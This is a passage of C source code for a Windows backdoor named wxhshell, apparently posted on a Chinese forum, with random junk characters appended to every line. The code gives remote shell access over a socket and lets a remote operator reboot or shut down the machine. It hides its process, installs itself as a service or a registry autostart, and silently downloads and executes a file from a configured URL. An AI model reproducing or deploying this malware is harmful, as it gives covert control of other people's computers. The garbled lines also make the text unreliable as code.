  // 帮助 1y4  
  case '?': { Ez=Olbk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %|i`kYsy  
    break; :Z z '1C  
  } zI<<Q2  
  // 安装 \;"=QmRD%:  
  case 'i': { iW /}#  
    if(Install()) (=@h23 vH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > "=>3  
    else >J>[& zS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FG*r'tC~r  
    break; /RC7"QzL  
    } sp*v?5lW  
  // 卸载 NPe%F+X  
  case 'r': { \)?HJ  
    if(Uninstall()) 6b \&~b@T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ub@]ru|  
    else X(-4<B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;VO:ph4Aj  
    break; pD#rnp>WWt  
    } e&aWq@D  
  // 显示 wxhshell 所在路径 )f<z% :I+Z  
  case 'p': { 8q}q{8  
    char svExeFile[MAX_PATH]; 5S--'=fu+  
    strcpy(svExeFile,"\n\r"); ^RtIh-Z.9  
      strcat(svExeFile,ExeFile); 1Z~FCJz  
        send(wsh,svExeFile,strlen(svExeFile),0); Ge-vWf-RbB  
    break; (c &mCJN  
    } C={Y;C1  
  // 重启 6MMOf\   
  case 'b': { 1F&Trqq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hp-<2i^"!  
    if(Boot(REBOOT)) oHn Ky[1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >_"an~Ss  
    else { (\YltC@q%  
    closesocket(wsh); Q:k}Jl  
    ExitThread(0); ;P%1j|7  
    } )"aV* "  
    break; y''z5['  
    } ~;{; ,8!)  
  // 关机 S8j{V5R'  
  case 'd': { MC.) 2B7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xH"/1g  
    if(Boot(SHUTDOWN)) IE/^\ M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 70tH:Z)"  
    else { !0LWa"  
    closesocket(wsh); G[I"8iS,  
    ExitThread(0); MPg)=LI  
    } EC!02S  
    break; tm RXgTS  
    } lbl?k5  
  // 获取shell hxd`OG<gF  
  case 's': { peuZ&yK+"  
    CmdShell(wsh); cZU=o\  
    closesocket(wsh); RF4vtQC=  
    ExitThread(0); ']z{{UNUN  
    break; Nk VK  
  } n QZwC  
  // 退出 D_^ nI:  
  case 'x': { e+ BQww  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ][h%UrV  
    CloseIt(wsh); (WO]Xq<  
    break; {xB!EQ"  
    } aPfO$b:  
  // 离开 tla 5B_  
  case 'q': { QIvVcfM^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {19PL8B~}  
    closesocket(wsh); ju8q?Nyhs  
    WSACleanup(); u jq=F  
    exit(1); ;jvBF4Lb>  
    break; a /l)qB#  
        } uHvp;]/0\  
  } |[ k.ii6iO  
  } xU>WEm2  
[{<`o5qR  
  // 提示信息 Ou!2 [oe@M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (%e .:W${  
} xPk8$1meZM  
  } E+R1 !.  
+wvWwie  
  return; ith 3 =`3  
} [OV"}<V  
so)[59M7  
// shell模块句柄 H*&f:mfq  
int CmdShell(SOCKET sock) &<5zqsNJ\a  
{ y'~U%,ki6  
STARTUPINFO si; l7259Ro~  
ZeroMemory(&si,sizeof(si)); gG:Vt}N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \y)rt )  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C]eSizS.  
PROCESS_INFORMATION ProcessInfo; RLynE V;]  
char cmdline[]="cmd"; qL&[K>2z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6]_pIf  
  return 0; ox>^>wR*  
} c~$)UND^  
lL3kh J:%  
// 自身启动模式 *:YiimOY"  
int StartFromService(void) ] =xE  
{ >CgTs  
typedef struct $L>@Ed<  
{ ?(y*nD[a  
  DWORD ExitStatus; }~j lj  
  DWORD PebBaseAddress; z8~NZ;A  
  DWORD AffinityMask; `*["UER  
  DWORD BasePriority; ,j}6? Q  
  ULONG UniqueProcessId; NP#w +Qw  
  ULONG InheritedFromUniqueProcessId; |zNX=mAV  
}   PROCESS_BASIC_INFORMATION; /W30~y  
*@r/5pM2}  
PROCNTQSIP NtQueryInformationProcess; dvx#q5f_S  
/y#f3r+*2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gg3,:A_ w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !/*\}\'4  
yZ(zdM\/sL  
  HANDLE             hProcess; @=Uh',F  
  PROCESS_BASIC_INFORMATION pbi; D/B8tf+V  
| y# Jx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); He/8=$c%  
  if(NULL == hInst ) return 0; N1S{suic  
TnOggpQ6X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &yTqZ*Yuk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [M}{G5U.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  O67W&nz  
#7 $ H  
  if (!NtQueryInformationProcess) return 0; B6As,)RjD:  
k&q;JyUi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IH&|Tcf\  
  if(!hProcess) return 0; v0+BkfU+p  
F>6|3bOR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,RI Gc US  
[{,T.;'<j  
  CloseHandle(hProcess); 4Zddw0|2  
9r<J"%*Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wn, KY$/  
if(hProcess==NULL) return 0; Jr!JHC9i  
FP`b>E qOH  
HMODULE hMod; $q{!5-e  
char procName[255]; q[ZTHd.-  
unsigned long cbNeeded; xY8$I6  
l -mfFN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c?*=|}N  
7\[@ m3s  
  CloseHandle(hProcess); VG#EdIiI  
EIAc@$4  
if(strstr(procName,"services")) return 1; // 以服务启动 ^4hO  
beGa#JH,  
  return 0; // 注册表启动 Hqx-~hQO  
} NiK4d{E&  
9(7-{,c  
// 主模块 ~2N"#b&J  
int StartWxhshell(LPSTR lpCmdLine) P%VSAh\|n  
{ 4G0m\[Du  
  SOCKET wsl; 4Uo&d#o)C-  
BOOL val=TRUE; 7`Ak) F:V  
  int port=0; >J?fl8  
  struct sockaddr_in door; 6OIte -c  
9};8?mucr  
  if(wscfg.ws_autoins) Install(); (@VMH !3  
L,`LN>  
port=atoi(lpCmdLine); vX"*4m>b?+  
<w9JRpFY  
if(port<=0) port=wscfg.ws_port; B{#I:Rs9  
(OL4Ex']  
  WSADATA data; xml7Uarc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y('#jU  
hEH?[>9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b3[!V{|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ! E5HN :#  
  door.sin_family = AF_INET; pa3{8x{9m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WDD%Q8ejV&  
  door.sin_port = htons(port); Uz8ff  
AKfDXy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !;{7-~  
closesocket(wsl);  %OCb:s  
return 1; &`r-.&Y  
} q3N jky1w  
k%#EEMh  
  if(listen(wsl,2) == INVALID_SOCKET) { 4l'fCZhA}  
closesocket(wsl); !i}w~U<  
return 1; %)1?TU  
} AeM^73t  
  Wxhshell(wsl); "+nRGEs6  
  WSACleanup(); ,/2Vt/lt  
Bm<`n;m  
return 0; -d/ =5yxL  
: *#-%0  
}  7xlkZF  
AV]2 euyn  
// 以NT服务方式启动 ? :%@vM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Of#u  
{ J]'zIOQ  
DWORD   status = 0; b_taC^-l  
  DWORD   specificError = 0xfffffff; `/+>a8  
u c)eil  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gb6'n$g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O=t_yy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i&fuSk EP  
  serviceStatus.dwWin32ExitCode     = 0; t{9GVLZ  
  serviceStatus.dwServiceSpecificExitCode = 0; nR~@#P\  
  serviceStatus.dwCheckPoint       = 0; oZgjQM$YP  
  serviceStatus.dwWaitHint       = 0; O0v}43J [  
h;"4+uw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qe#tj/aZ  
  if (hServiceStatusHandle==0) return; ;[DU%f  
.p[ux vp  
status = GetLastError(); 6d}lw6L  
  if (status!=NO_ERROR) Bsvr?|L\  
{ cV6D<,)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tcI*a>  
    serviceStatus.dwCheckPoint       = 0; S%>]q s  
    serviceStatus.dwWaitHint       = 0; dZ@63a>>@  
    serviceStatus.dwWin32ExitCode     = status; gr2U6gi  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2/^3WY1U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3nQ`]5.Q w  
    return; M6j y\<a  
  } g3y~bf  
J*M>6Q.)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rb.N~  
  serviceStatus.dwCheckPoint       = 0; n_A3#d<9  
  serviceStatus.dwWaitHint       = 0; vk^xT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H1 ./x6Hr  
} a;+9mDXx:  
lL3U8}vn  
// 处理NT服务事件,比如:启动、停止 "!^"[mX4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CA~-rv  
{ l ymCH  
switch(fdwControl) Y:[u1~a  
{ u*`GiZAO  
case SERVICE_CONTROL_STOP: 8l rpve  
  serviceStatus.dwWin32ExitCode = 0; #X1ND  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <bWG!ZG  
  serviceStatus.dwCheckPoint   = 0; 0GeTS Fj  
  serviceStatus.dwWaitHint     = 0; WOap+  
  { TC*g|d @b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #*Ctwl,T  
  } 3s#N2X;Bc  
  return; y<Ot)fa$  
case SERVICE_CONTROL_PAUSE: F]&*o w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +mn[5Y}:  
  break; UaeXY+O  
case SERVICE_CONTROL_CONTINUE: kffcm/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~]2K ^bh8&  
  break; + ePS14G  
case SERVICE_CONTROL_INTERROGATE: kxv1Hn"`{E  
  break; YaqJ,"GlT  
}; 7kE n \  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  \4fQMG  
} c^W)07-X5y  
a:w#s}bL  
// 标准应用程序主函数 &^jXEz;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ` Sz}`+E  
{ G 3ptx! D  
NgPk&niM  
// 获取操作系统版本 bk[!8- b/a  
OsIsNt=GetOsVer(); R6->t #n,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zO6oT1I  
\9T7A&  
  // 从命令行安装 P*j|.63  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3Y$GsN4ln  
#H~64/  
  // 下载执行文件 ~t~|"u"P  
if(wscfg.ws_downexe) { ;2QP7PrSY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T>W,'H  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]Y&VT7+Z  
} +ZP7{%  
i83OOV$1J  
if(!OsIsNt) { f/?P514h  
// 如果时win9x,隐藏进程并且设置为注册表启动 (tW`=]z-<  
HideProc(); BI@[\aRLQ  
StartWxhshell(lpCmdLine); S_H+WfIHV'  
} dR]m8mdqc1  
else pQB."[n  
  if(StartFromService()) y6BAH  
  // 以服务方式启动 V0mn4sfs  
  StartServiceCtrlDispatcher(DispatchTable); Ny/MJ#Lq  
else *vMn$,^0h9  
  // 普通方式启动 )^hbsMhO  
  StartWxhshell(lpCmdLine); #RLt^$!H  
J{G?-+`  
return 0; C0Z=~Q%  
}
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只看该作者 1 发表于: 2006-10-10
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